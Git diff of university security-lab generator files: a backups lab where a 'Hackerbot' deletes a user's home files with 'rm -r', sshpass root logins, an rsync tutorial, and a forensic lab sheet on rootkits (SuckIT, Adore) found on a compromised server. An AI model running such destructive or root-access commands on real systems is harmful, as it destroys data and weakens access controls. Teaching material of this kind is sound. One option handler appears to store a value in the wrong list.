$second_user %>/personal_secrets/really_not_a_flag; echo $?' + + Permission denied|Operation not permitted|Read-only + :( Oh no. Access errors. <%= $second_user %> failed to write the files... The user needs to be able to write to their files! + + + 0 + Ok, good... No flag this time, carry on... + true + + + :( Something went wrong... + + + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $server_ip %> /bin/bash + + + Create another differential backup of <%= $second_user %>'s desktop files to the backup_server: <%= $server_ip %>:/home/<%= $main_user %>/remote-rsync-differential2/. + + + grep '<%= $hidden_flag %>' /home/<%= $main_user %>/remote-rsync-differential2/<%= $second_user %>/personal_secrets/flag > /dev/null; status1=$?; ls /home/<%= $main_user %>/remote-rsync-differential2/<%= $second_user %>/<%= $files.sample %> > /dev/null; status2=$?; grep <%= $rand_diff2 %> /home/<%= $main_user %>/remote-rsync-differential2/<%= $second_user %>/personal_secrets/really_not_a_flag > /dev/null; status3=$?; echo $status1$status2$status3 + + 0[1-9]0 + :) Well done! <%= $flags.pop %> + true + + + [1-9][1-9][1-9] + :( You didn't backup to the specified remote directory. + + + [1-9][1-9]0 + :( Your differential backup should also include the first set of changes (all changes since the full backup). + + + 000 + :( You backed up to the correct location, but it wasn't a differential backup... You probably need to ssh in and delete that last backup and try again. + + + :( Something went wrong... Your backup should include all the changes since the full backup (including the first set of changes), but not the original files. + + + + +<% $rand2 = SecureRandom.hex(2) -%> + + + The <%= $second_user %> user is about to create even more files... + + sudo -u <%= $second_user %> bash -c 'echo "Buy eggs <%= $rand2 %>" > /home/<%= $second_user %>/notes; echo "Beep boop beep beep" >> /home/<%= $second_user %>/logs/log2; echo <%= $rand2 %> > /home/<%= $second_user %>/personal_secrets/<%= $rand2 %>; echo $?' + + Permission denied|Operation not permitted|Read-only + :( Oh no. Access errors. <%= $second_user %> failed to write the files... The user needs to be able to write to their files! + + + 0 + Ok, good... No flag this time, carry on... + true + + + :( Something went wrong... + + + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $server_ip %> /bin/bash + + + Create an incremental backup of <%= $second_user %>'s desktop files to the backup_server: <%= $server_ip %>:/home/<%= $main_user %>/remote-rsync-incremental1/. Base it on the epoch and also differential2. + + + grep '<%= $hidden_flag %>' /home/<%= $main_user %>/remote-rsync-incremental1/<%= $second_user %>/personal_secrets/flag > /dev/null; status1=$?; ls /home/<%= $main_user %>/remote-rsync-incremental1/<%= $second_user %>/<%= $files.sample %> > /dev/null; status2=$?; grep <%= $rand_diff2 %> /home/<%= $main_user %>/remote-rsync-incremental1/<%= $second_user %>/personal_secrets/really_not_a_flag > /dev/null; status3=$?; grep <%= $rand2 %> /home/<%= $main_user %>/remote-rsync-incremental1/<%= $second_user %>/personal_secrets/<%= $rand2 %> > /dev/null; status4=$?; echo $status1$status2$status3$status4 + + [1-9][1-9][1-9]0 + :) Well done! <%= $flags.pop %> + true + + + [1-9][1-9][1-9][1-9] + :( You didn't backup to the specified remote directory. + + + 0[1-9]?{2} + :( You backed up to the correct location, but it wasn't an incremental backup... You probably need to ssh in and delete that last backup and try again. + + + :( Something went wrong... Your backup should include just the changes since the last backup. + + + + +<% $rand3 = SecureRandom.hex(2) -%> + + + Again, the <%= $second_user %> user is about to create even more files... + + sudo -u <%= $second_user %> bash -c 'echo "Buy batteries <%= $rand3 %>" > /home/<%= $second_user %>/notes; echo "Beep boop beep beep" >> /home/<%= $second_user %>/logs/log2; echo <%= $rand3 %> > /home/<%= $second_user %>/personal_secrets/nothing_much; echo $?' + + Permission denied|Operation not permitted|Read-only + :( Oh no. Access errors. <%= $second_user %> failed to write the files... The user needs to be able to write to their files! + + + 0 + Ok, good... No flag this time, carry on... + true + + + :( Something went wrong... + + + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $server_ip %> /bin/bash + + + Create another incremental backup of <%= $second_user %>'s desktop files to the backup_server: <%= $server_ip %>:/home/<%= $main_user %>/remote-rsync-incremental2/. + + + grep '<%= $hidden_flag %>' /home/<%= $main_user %>/remote-rsync-incremental2/<%= $second_user %>/personal_secrets/flag > /dev/null; status1=$?; ls /home/<%= $main_user %>/remote-rsync-incremental2/<%= $second_user %>/<%= $files.sample %> > /dev/null; status2=$?; grep <%= $rand_diff2 %> /home/<%= $main_user %>/remote-rsync-incremental2/<%= $second_user %>/personal_secrets/really_not_a_flag > /dev/null; status3=$?; grep <%= $rand2 %> /home/<%= $main_user %>/remote-rsync-incremental2/<%= $second_user %>/personal_secrets/<%= $rand2 %> > /dev/null; status4=$?; grep <%= $rand3 %> /home/<%= $main_user %>/remote-rsync-incremental2/<%= $second_user %>/personal_secrets/nothing_much > /dev/null; status5=$?; echo $status1$status2$status3$status4$status5 + + [1-9][1-9][1-9][1-9]0 + :) Well done! <%= $flags.pop %> + + + + [1-9][1-9][1-9][1-9][1-9] + :( You didn't backup to the specified remote directory. + + + 0[1-9]?{2} + :( You backed up to the correct location, but it wasn't an incremental backup... You probably need to ssh in and delete that last backup and try again. + + + :( Something went wrong... Your backup should include just the changes since the last backup. + + + Access the backups via SSH. What's the contents of <%= $second_user %>/personal_secrets/nothing_much? + ^<%= $rand3 %>$ + :) <%= $flags.pop %> + + + + + + + + I am going to attack you now! + + rm -r /home/<%= $second_user %>/*; echo $? + + Permission denied|Operation not permitted|Read-only + :( Oh no. Access errors. <%= $second_user %>. You need to let this happen! + + + 0 + I just deleted all <%= $second_user %>'s files! They don't call me Hackerbot for nothin'! + true + + + :( Something went wrong... + + + + + + + + + Use all the backups (including differential and incremental) to restore all of <%= $second_user %>'s files on the desktop system + + + grep '<%= $hidden_flag %>' /home/<%= $second_user %>/personal_secrets/flag > /dev/null; status1=$?; ls /home/<%= $second_user %>/<%= $files.sample %> > /dev/null; status2=$?; grep <%= $rand_diff2 %> /home/<%= $second_user %>/personal_secrets/really_not_a_flag > /dev/null; status3=$?; grep <%= $rand2 %> /home/<%= $second_user %>/personal_secrets/<%= $rand2 %> > /dev/null; status4=$?; grep <%= $rand3 %> /home/<%= $second_user %>/personal_secrets/nothing_much > /dev/null; status5=$?; grep <%= $rand3 %> /home/<%= $second_user %>/notes > /dev/null; status6=$?; echo $status1$status2$status3$status4$status5$status6 + + 000000 + :) Well done! <%= $flags.pop %> + true + + + 00000 + :( Close... You restored something, but not everything... Check the order you did your restore commands in. + + + 0 + :( You restored something, but not everything... + + + [1-9]{6} + :( You didn't restore anything. + + + :( Something went wrong... Restore everything... + + + + + + + + + Restore <%= $second_user %>'s notes file to it's earliest state + + grep '<%= $first_notes %>' /home/<%= $second_user %>/notes > /dev/null; status1=$?; echo $status1 + + 0 + :) Well done! <%= $flags.pop %> + true + + + [0-9] + :( That's not the earliest state... + + + :( Something went wrong... + + + +
diff --git a/modules/generators/structured_content/hackerbot_config/backups/templates/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/backups/templates/labsheet.html.erb new file mode 100644 index 000000000..3166f3520 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/backups/templates/labsheet.html.erb @@ -0,0 +1,121 @@ + + + <%= self.title %> + + + + + +
+ <%= self.html_TOC_rendered %> +
+ +
+ <%= self.html_rendered %> +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/backups/templates/license.md.erb b/modules/generators/structured_content/hackerbot_config/backups/templates/license.md.erb new file mode 100644 index 000000000..c11478e8e --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/backups/templates/license.md.erb @@ -0,0 +1,6 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. + +![small](images/leedsbeckett-logo.png) diff --git a/modules/generators/structured_content/hackerbot_config/backups/templates/resources.md.erb b/modules/generators/structured_content/hackerbot_config/backups/templates/resources.md.erb new file mode 100644 index 000000000..df6a2fc3a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/backups/templates/resources.md.erb @@ -0,0 +1,5 @@ +## Resources + +[http://webgnuru.com/linux/rsync\_incremental.php](http://webgnuru.com/linux/rsync_incremental.php) + +[http://everythinglinux.org/rsync/](http://everythinglinux.org/rsync/) diff --git a/modules/generators/structured_content/hackerbot_config/backups/templates/rsync.md.erb b/modules/generators/structured_content/hackerbot_config/backups/templates/rsync.md.erb new file mode 100644 index 000000000..04b6b118c --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/backups/templates/rsync.md.erb @@ -0,0 +1,219 @@ +## Rsync, deltas and epoch backups + +Rsync is a popular tool for copying files locally, or over a network. Rsync can use delta encoding (only sending *differences* over the network rather than whole files) to reduce the amount of data that needs to be transferred. Many commercial backup systems provide a managed frontend for `rsync`. + +Note: make sure you exited SSH above, and are now running commands on your local system. + +Lets start by doing a simple ==copy of your /etc/ directory== to a local copy: + +```bash +sudo rsync -av /etc /home/<%= $main_user %>/backups/rsync_backup/ +``` +> Note that the presence of a trailing "/" changes the behaviour, so be careful when constructing rsync commands. In this case we are copying the directory (not just its contents), into the directory etc\_backup. See the man page for more information. + +Rsync reports the amount of data "sent". + +Read the Rsync man page ("`man rsync`"), to ==understand the flags we have used== (`-a` and `-v`). As you will see, Rsync has a great deal of options. + +Now, lets ==add a file to /etc, and repeat the backup:== + +```bash +sudo bash -c 'echo hello > /etc/hello' + +sudo rsync -av /etc /home/<%= $main_user %>/backups/rsync_backup/ +``` + +Note that only the new file was transferred (incremental) to update our epoch (full) backup of /etc/. + +## Rsync remote copies via SSH with compression + +Rsync can act as a server, listening on a TCP port. It can also be used via SSH, as you will see. ==Copy your /etc/ directory to your backup_server== system using Rsync via SSH: + +```bash +sudo rsync -avzh --fake-super /etc <%= $main_user %>@<%= $server_ip %>:/home/<%= $main_user %>/remote-rsync-backup/ +``` +> Tip: this is all one line + +Note that this initial copy will have used less network traffic compared to `scp`, due to the `-z` flag, which tells `rsync` to use compression. ==Compare the amount of data sent== (as reported by Rsync in the previous command -- the `-h` told Rsync to use human readable sizes) to the size of the date that was sent: + +```bash +sudo du -sh /etc +``` + +Now, if you were to ==delete a local file== that had been backed up: + +```bash +sudo rm /etc/hello +``` + +Even if you ==re-sync your local changes== to the backup_server, the file will not be deleted from the server: + +```bash +sudo rsync -avzh --fake-super /etc <%= $main_user %>@<%= $server_ip %>:/home/<%= $main_user %>/remote-rsync-backup/ +``` + +To recover the file, you can simply ==retrieve the backup:== + +```bash +sudo rsync -avz --fake-super <%= $main_user %>@<%= $server_ip %>:/home/<%= $main_user %>/remote-rsync-backup/etc/hello /etc/ +``` + +Note, that the `--fake-super` option is used to ensure the recovered file is still owned by root (even though it is not associated with root on the backup_server). This avoids requiring SSH root access to the remote machine (for security reasons this is not usually done) to retain ownership and so on. + +==Read the man page entry for `--fake-super`== +> Hint: `man rsync`, then press '/' followed by '--fake-super$', and enter. + +==Delete the file locally, and sync the changes== *including deletions* to the server so that it is also deleted there: + +```bash +sudo rm /etc/hello +sudo rsync -avzh --fake-super --delete /etc <%= $main_user %>@<%= $server_ip %>:/home/<%= $main_user %>/remote-rsync-backup/ +``` +> Note the added **`--delete`** + +==Confirm that the file has been deleted== from the backup stored on the server. +> Hint: login via SSH and view the backups + +==Lab book question: Compare the file access/modification times== of the scp and rsync backups, are they the same/similar? If not, why? + +## Rsync incremental/differential backups + +If you need to keep daily backups, it would be an inefficient use of disk space (and network traffic and/or disk usage) to simply save separate full copies of your entire backup each day. Therefore, it often makes sense to copy only the files that have changed for our daily backup. This can either be comparisons to the last backup (incremental), or last full backup (differential). + +### Differential backups + +==Create a new file== in /etc: + +```bash +sudo bash -c 'echo "hello there" > /etc/hello' +``` + +And now lets ==create differential backups== of our changes to /etc (both local and remote backup copies): + +```bash +#local +sudo rsync -av /etc --compare-dest=/home/<%= $main_user %>/backups/rsync_backup/ /home/<%= $main_user %>/backups/rsync_backup_week1/ + +#remote +sudo rsync -avzh --fake-super /etc --compare-dest=/home/<%= $main_user %>/remote-rsync-backup/ <%= $main_user %>@<%= $server_ip %>:/home/<%= $main_user %>/remote-rsync-backup-week1/ +``` +> The **-\-compare-dest** flag tells rsync to search these backup copies, and only copy files if they have changed since a backup. Refer the the man page for further explanation. + +Look at what is contained in the differential update: + +```bash +ls -la /home/<%= $main_user %>/backups/rsync_backup_week1/etc +``` + +Note that there are lots of empty directories, with only the files that have actually changed (in this case /etc/hello). + +Now ==create another change== to /etc: + +```bash +sudo bash -c 'echo "hello there!" > /etc/hi' +``` + +To ==make another differential backup== (saving changes since the last full backup), we just repeat the previous command(s), with a new destination directory: + +```bash +#local +sudo rsync -av /etc --compare-dest=/home/<%= $main_user %>/backups/rsync_backup/ /home/<%= $main_user %>/backups/rsync_backup_week2/ + +#remote +sudo rsync -avzh --fake-super /etc --compare-dest=/home/<%= $main_user %>/remote-rsync-backup/ <%= $main_user %>@<%= $server_ip %>:/home/<%= $main_user %>/remote-rsync-backup-week2/ +``` + +==Look at the contents== of your new backup. You will find it now contains your two new files. That is, all of the changes since the full backup. + +==Delete a non-essential existing file== in /etc/, and our test hello file: + +```bash +sudo rm /etc/wgetrc /etc/hello +``` + +Now ==restore from your backups== by first restoring from the full backup, then the latest differential backup ("week2"). The advantage to a differential backup, is you only need to use two commands to restore your system. + +```bash +sudo rsync -avz --fake-super <%= $main_user %>@<%= $server_ip %>:/home/<%= $main_user %>/remote-rsync-backup/etc/ /etc/ + +sudo rsync -avz --fake-super <%= $main_user %>@<%= $server_ip %>:/home/<%= $main_user %>/remote-rsync-backup-week2/etc/ /etc/ +``` +> This example is restoring from the remote copy. ==Try restoring from the local copy==. + +### Incremental backups + +The disadvantage of the above differential approach to backups, is that your daily backup gets bigger and bigger for every backup until you do another full backup. With *incremental backups* you *only store the changes since the last backup*. + +Now ==create another change== to /etc: + +```bash +sudo bash -c 'echo "Another test change" > /etc/test1' + +sudo bash -c 'echo "Another test change" > /etc/hello' +``` + +Now ==create an incremental backup== based on the last differential backup: + +```bash +#local +sudo rsync -av /etc --compare-dest=/home/<%= $main_user %>/backups/rsync_backup/ --compare-dest=/home/<%= $main_user %>/backups/rsync_backup_week2/ /home/<%= $main_user %>/backups/rsync_backup_monday/ + +#remote +sudo rsync -avzh --fake-super /etc --compare-dest=/home/<%= $main_user %>/remote-rsync-backup/ --compare-dest=/home/<%= $main_user %>/remote-rsync-backup-week2/ <%= $main_user %>@<%= $server_ip %>:/home/<%= $main_user %>/remote-rsync-backup-monday/ +``` + +==Another change== to /etc: + +```bash +sudo bash -c 'echo "Another test change" > /etc/test2' +``` + +Now ==create an incremental backup based on the last differential backup and the last incremental backup:== + +```bash +#local +sudo rsync -av /etc --compare-dest=/home/<%= $main_user %>/backups/rsync_backup/ --compare-dest=/home/<%= $main_user %>/backups/rsync_backup_week2/ --compare-dest=/home/<%= $main_user %>/backups/rsync_backup_monday/ /home/<%= $main_user %>/backups/rsync_backup_tuesday/ + +#remote +sudo rsync -avzh --fake-super /etc --compare-dest=/home/<%= $main_user %>/remote-rsync-backup/ --compare-dest=/home/<%= $main_user %>/remote-rsync-backup-week2/ --compare-dest=/home/<%= $main_user %>/remote-rsync-backup-monday/ <%= $main_user %>@<%= $server_ip %>:/home/<%= $main_user %>/remote-rsync-backup-tuesday/ +``` + +Now ==delete a number of files:== + +```bash +sudo rm /etc/wgetrc /etc/hello /etc/test1 /etc/test2 +``` + +==Restore /etc== by restoring from the full backup, then the last differential backup, then the first incremental backup, then the second incremental backup. + +### Rsync snapshot backups + +Another approach to keeping backups is to keep a snapshot of all of the files, but wherever the files have not changed, a hard link is used to point at a previously backed up copy. If you are unfamiliar with hard links, read more about them online. This approach gives users a snapshot of how the system was on a particular date, without having to have redundant full copies of files. + +These snapshots can be achieved using the `--link-dest` flag. Open the Rsync man page, and read about `--link-dest`. Lets see it in action. + +==Make an rsync snapshot== containing hard links to files that have not changed, with copies for files that have changed: + +```bash +sudo rsync -av --delete --link-dest=/home/<%= $main_user %>/backups/rsync_backup/ /etc /home/<%= $main_user %>/backups/rsync_backup_snapshot_1 +``` + +Rsync reports not having copied any new files, yet look at what is contained in rsync_backup_snapshot_1. It looks like a complete copy, yet is **taking up almost no extra storage space**. + +==Create other changes== to /etc: + +```bash +sudo bash -c 'echo "Another test change" > /etc/test3' + +sudo bash -c 'echo "Another test change" > /etc/test4' +``` + +And ==make a new rsync snapshot==, with copies of files that have changed: + +```bash +sudo rsync -av --delete --link-dest=/home/<%= $main_user %>/backups/rsync_backup/ /etc /home/<%= $main_user %>/backups/rsync_backup_snapshot_2 +``` + +==Delete some files==, and ==make a new differential rsync snapshot==. Although Rsync does not report a deletion, the deleted files will be absent from the new snapshot. + +==Recover a file from a previous snapshot.== diff --git a/modules/generators/structured_content/hackerbot_config/dead_analysis/dead_analysis.pp b/modules/generators/structured_content/hackerbot_config/dead_analysis/dead_analysis.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/dead_analysis/manifests/.no_puppet b/modules/generators/structured_content/hackerbot_config/dead_analysis/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/dead_analysis/secgen_local/local.rb b/modules/generators/structured_content/hackerbot_config/dead_analysis/secgen_local/local.rb new file mode 100644 index 000000000..c66f0d548 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/dead_analysis/secgen_local/local.rb @@ -0,0 +1,45 @@ +#!/usr/bin/ruby +require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb' + +class IDS < HackerbotConfigGenerator + + attr_accessor :web_server_ip + attr_accessor :ids_server_ip + attr_accessor :hackerbot_server_ip + + def initialize + super + self.module_name = 'Hackerbot Config Generator IDS' + self.title = 'Dead Analysis' + + self.local_dir = File.expand_path('../../',__FILE__) + self.templates_path = "#{self.local_dir}/templates/" + self.config_template_path = "#{self.local_dir}/templates/lab.xml.erb" + self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb" + + self.web_server_ip = [] + self.ids_server_ip = [] + self.hackerbot_server_ip = [] + end + + def get_options_array + super + [['--web_server_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--ids_server_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--hackerbot_server_ip', GetoptLong::REQUIRED_ARGUMENT]] + end + + def process_options(opt, arg) + super + case opt + when '--web_server_ip' + self.web_server_ip << arg; + when '--ids_server_ip' + self.ids_server_ip << arg; + when '--hackerbot_server_ip' + self.ids_server_ip << arg; + end + end + +end + +IDS.new.run \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/dead_analysis/secgen_metadata.xml b/modules/generators/structured_content/hackerbot_config/dead_analysis/secgen_metadata.xml new file mode 100644 index 000000000..87770646f --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/dead_analysis/secgen_metadata.xml @@ -0,0 +1,49 @@ + + + + Hackerbot config for an investigation an analysis lab + Z. Cliffe Schreuders + GPLv3 + Generates a config file for a hackerbot for a lab. + Topics covered: Dead Analysis. + + hackerbot_config + linux + + accounts + flags + root_password + web_server_ip + ids_server_ip + hackerbot_server_ip + + + + + + + vagrant + + + + + + + + + + + + + + + + + puppet + + + hackerbot + + \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/dead_analysis/shared/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/dead_analysis/shared/labsheet.html.erb new file mode 100644 index 000000000..72dab611a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/dead_analysis/shared/labsheet.html.erb @@ -0,0 +1,29 @@ + + + <%= self.title %> + + + + + +
+ + <%= self.html_rendered %> + +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/dead_analysis/shared/license.md.erb b/modules/generators/structured_content/hackerbot_config/dead_analysis/shared/license.md.erb new file mode 100644 index 000000000..8e89ace31 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/dead_analysis/shared/license.md.erb @@ -0,0 +1,4 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. diff --git a/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/dead_investigation.md b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/dead_investigation.md new file mode 100644 index 000000000..5265afd4b --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/dead_analysis/templates/dead_investigation.md @@ -0,0 +1,405 @@ +# Analysis of a Compromised System - Part 2: Offline Analysis + +## Getting started + +> ###==**Note: You cannot complete this lab (part 2) without having saved the evidence you collected during part 1 of the lab.**== + +### VMs in this lab + +==Start these VMs== (if you haven't already): + +- hackerbot-server (leave it running, you don't log into this) +- desktop (this week's) +- desktop (last week's desktop VM, to access your evidence) +- kali (user: root, password: toor) + +All of these VMs need to be running to complete the lab. + +## Introduction to dead (offline) analysis + +Once you have collected information from a compromised computer (as you have done in the previous lab), you can continue analysis offline. There are a number of software environments that can be used do offline analysis. We will be using Kali Linux, which includes a number of forensic tools. Another popular toolset is the Helix incident response environment, which you may want to also experiment with. + +This lab reinforces what you have learned about integrity management and log analysis, and introduces a number of new concepts and tools. + +## Getting our data into the analysis environment + +To start, we need to ==get the evidence that has been collected in the previous lab onto an analysis system== (copy to /root/evidence on the Kali VM) that has software for analysing the evidence. + +If you still have your evidence stored on last week's desktop VM, you can transfer the evidence straight out of /home/*user* to the Kali Linux system using scp: + +```bash +scp -r *username-from-that-system*@*ip-address*:evidence evidence +``` +> **Note the IP addresses**: run /sbin/ifconfig on last week's Desktop VM, and also run ifconfig on the Kali VM. Make a note of the two IP addresses, which should be on the same subnet (starting the same). + +## Mounting the image read-only +**On Kali Linux**: + +It is possible to mount the partition image directly as a [*loop device*](http://en.wikipedia.org/wiki/Loop_device), and access the files directly. However, doing so should be done with caution (and is generally a bad idea, unless you are very careful), since there is some chance that it may result in changes to your evidence, and you risk infecting the analysis machine with any malware on the system being analysed. However, this technique is worth exploring, since it does make accessing files particularly convenient. + +==Create a directory to mount our evidence onto:== + +```bash +mkdir /mnt/compromised +``` + +==Mount the image== that we previously captured of the state of the main partition on the compromised system: + +```bash +mount -O ro -o loop evidence/hda1.img /mnt/compromised +``` + +> Troubleshooting: If you used a VMware VM in the live analysis lab, you may need to replace hda1.img with sda1.img + +Confirm that you can now see the files that were on the compromised system: + +```bash +ls /mnt/compromised +``` + +## Preparing for analysis of the integrity of files + +Fortunately the "system administrator" of the Red Hat server had run a file integrity tool to generate hashes before the system was compromised. Start by saving a copy of the hashes recorded of the system when it was in a clean state... + +Click here to download the md5 hashes of the system before it was compromised + +==Save the hashes in the evidence directory of the Kali VM, name the file "md5s".== + +==View the file==, to confirm all went well: + +```bash +less evidence/md5s +``` +> 'q' to quit + +As you have learned in the Integrity Management lab, this information can be used to check whether files have changed. + +## Starting Autopsy + +Autopsy is a front-end for the Sleuth Kit (TSK) collection of forensic analysis command line tools. There is a version of Autopsy included in Kali Linux (a newer desktop-based version is also available for Windows). + +==Create a directory== for storing the evidence files from Autopsy: + +```bash +mkdir /root/evidence/autopsy +``` + +Start Autopsy. You can do this using the program menu. ==Click Applications / Forensics / autopsy.== + +A terminal window should be displayed. + +==Open Firefox, and visit [http://localhost:9999/autopsy](http://localhost:9999/autopsy)== + +==Click "New Case".== + +==Enter a case name==, such as "RedHatCompromised", and ==a description==, such as "Compromised Linux server", and ==enter your name==. ==Click "New Case".== + +==Click the "Add Host" button.== + +In section "6. Path of Ignore Hash Database", ==enter /root/linux-suspended-md5s== + +==Click the "Add Host" button== at the bottom of the page + +==Click "Add Image".== + +==Click "Add Image File".== + +For section "1. Location", ==enter /root/evidence/hda1.img== + +For "2. Type", ==select "Partition".== + +For "3. Import Method", ==select "Symlink".== + +==Click "Next".== + +==Click "Add".== + +==Click "Ok".== + +## File type analysis and integrity checking + +Now that you have started and configured Autopsy with a new case and hash database, you can view the categories of files, while ignoring files that you know to be safe. + +==Click "Analyse".== + +==Click "File Type".== + +==Click "Sort Files by Type".== + +Confirm that "Ignore files that are found in the Exclude Hash Database" is selected. + +==Click "Ok"==, this analysis takes some time. + +Once complete, ==view the "Results Summary".== + +The output shows that over 16000 files have been ignored because they were found in the md5 hashes ("Hash Database Exclusions"). This is good news, since what it leaves us with are the interesting files that have changed or been created since the system was in a clean state. This includes archives, executables, and text files (amongst other categories). + +==Click "View Sorted Files".== + +Copy the results file location as reported by Autopsy, and ==open the report in a new tab within Firefox:== + +> /var/lib/autopsy/RedHatCompromised/host1/output/sorter-vol1/index.html + +==Click "compress"==, to view the compressed files. You are greeted with a list of two compressed file archives, "/etc/opt/psyBNC2.3.1.tar.gz", and "/root/sslstop.tar.gz". + +==Figure out what `psyBNC2.3.1.tar.gz` is used for.== +> Try using Google, to search for the file name, or part thereof. + +Browse the evidence in /mnt/compromised/etc/opt (on the Kali Linux system, using a file browser, such as Dolphin) and look at the contents of the archive (in /etc/opt, and you may find that the attacker has left an uncompressed version which you can assess in Autopsy). Remember, don't execute any files from the compromised system on your analysis machine: you don't want to end up infecting your analysis machine. For this reason, it is safer to assess these files via Autopsy. ==Browse to the directory by clicking back to the Results Summary tab of Autopsy, and clicking "File Analysis"==, then browse to the files from there (in /etc/opt). Read the psyBNC README file, and ==note what this software package is used for.== + +> **Help: if the README file did not display as expected,** click on the inode (meta) number at the right-hand side of the line containing the README file. You will need to click each direct block link in turn to see the content of the README file. The direct block links are displayed at the bottom left-hand side of the webpage. + +Next, we investigate what sslstop.tar.gz is used for. A quick Google brings up a CGSecurity.org page, which reports that this script modifies httpd.conf to disable SSL support from Apache. Interesting... Why would an attacker want to disable SSL support? This should soon become clear. + +==Return the page where "compress" was accessed== (/root/evidence/autopsy/RedHatCompromised/host1/output/sorter-vol1/index.html), and ==click "exec"==. This page lists a fairly extensive collection of new executables on our compromised server. + +==Make a list of all the executables that are likely trojanized.== +> Hint: for now ignore the "relocatable" objects left from compiling the PSYBNC software, and focus on "executable" files, especially those in /bin/ and /usr/bin/. + +--- + +Refer to your previously collected evidence to ==identify whether any of the new executables were those with open ports== when live information was collected. Two of these have particularly interesting file names: `/usr/bin/smbd -D` and `/usr/bin/(swapd)`. These names are designed to be deceptive: for example, the inclusion of ` -D` is designed to trick system administrators into thinking that any processes were started with the "-D" command line argument flag. + +Note that /lib/.x/ contains a number of new executables, including one called "hide". These are likely part of a rootkit. +> **Hint:** to view these files you will have to look in /mnt/compromised/lib/.x. The .x folder is a hidden folder (all folders and file in Linux that begin with a "." ar hidden files). Therefore, you will have to use the -a switch when using the ls command in a terminal or tell the graphical file manager to display hidden files ( View > Show Hidden Files or Ctrl+H). + +==Using Autopsy "File Analysis" mode, browse to "/lib/.x/"==. **Explicit language warning: if you are easily offended, then skip this next step.** View the contents of "install.log". +> **Hint:** you will have to click **../** to move up the directory tree until you can see the lib directory in the root directory /. + +> **Help: if the install.log file did not display as expected,** click on the inode (meta) number at the right-hand side of the line containing the README file. You will need to click the direct block link to see the content of the install.log file. The direct block links are displayed at the bottom left-hand side of the webpage. + +This includes the lines: + +> \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# +> \# SucKIT version 1.3b by Unseen < unseen@broken.org > \# +> \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# + +SuckIT is a rootkit that tampers with the Linux kernel directly via /dev/kmem, rather than the usual approach of loading a loadable kernel module (LKM). The lines in the log may indicate that the rootkit had troubles loading. + +SuckIT and the rootkit technique is described in detail in Phrack issue 58, article 0x07 "Linux on-the-fly kernel patching without LKM" + +> [*http://www.textfiles.com/magazines/PHRACK/PHRACK58*](http://www.textfiles.com/magazines/PHRACK/PHRACK58) + +==Using Autopsy "File Analysis", view the file /lib/.x/.boot== + +> **Help:** again you may need to view the block directly that contains the .boot file. Make a note of the file's access times, this will come in handy soon. + +This shell script starts an SSH server (s/xopen), and sends an email to a specific email address to inform them that the machine is available. View the script, and ==determine what email address it will email the information to.== + +Return to the file type analysis (presumably still open in an Iceweasel tab), still viewing the "exec" category, also note the presence of "adore.o". Adore is another rootkit (and worm), this one loads via an LKM (loadable kernel module). + +Here is a concise description of a version of Adore: + +> [*http://lwn.net/Articles/75990/*](http://lwn.net/Articles/75990/) + +This system is well and truly compromised, with multiple kernel rootkits installed, and various trojanized binaries. + +### Timeline analysis + +It helps to reconstruct the timeline of events on the system, to get a better understanding. Software such as Sluthkit (either using the Autopsy frontend or the mactime command line tool) analyses the MAC times of files (that is, the most recent modification, most recent access, and most recent inode change[^1]) to reconstruct a sequence of file access events. + +In another Firefox tab, ==visit [*http://localhost:9999/autopsy*](http://localhost:9999/autopsy), click "Open Case", "Ok", "Ok".== + +==Click "File Activity Timelines".== + +==Click "Create Data File".== + +==Select "/1/ hda1.img-0-0 ext".== + +==Click "Ok".== + +==Click "Ok".== + +For "5. Select the UNIX image that contains the /etc/passwd and /etc/group files", ==select "hda1.img-0-0".== + +Wait while a timeline is generated. + +==Click "Ok".== + +Once analysis is complete, the timeline is presented. Note that the timeline starts with files accessed on Jan 01 1970. + +==Click "Summary".== + +A number of files are specified as accessed on Jan 01 1970. What is special about this date? + +==Browse through the history.== Note that it is very detailed, and it is easy to get lost (and waste time) in irrelevant detail. + +The access date you 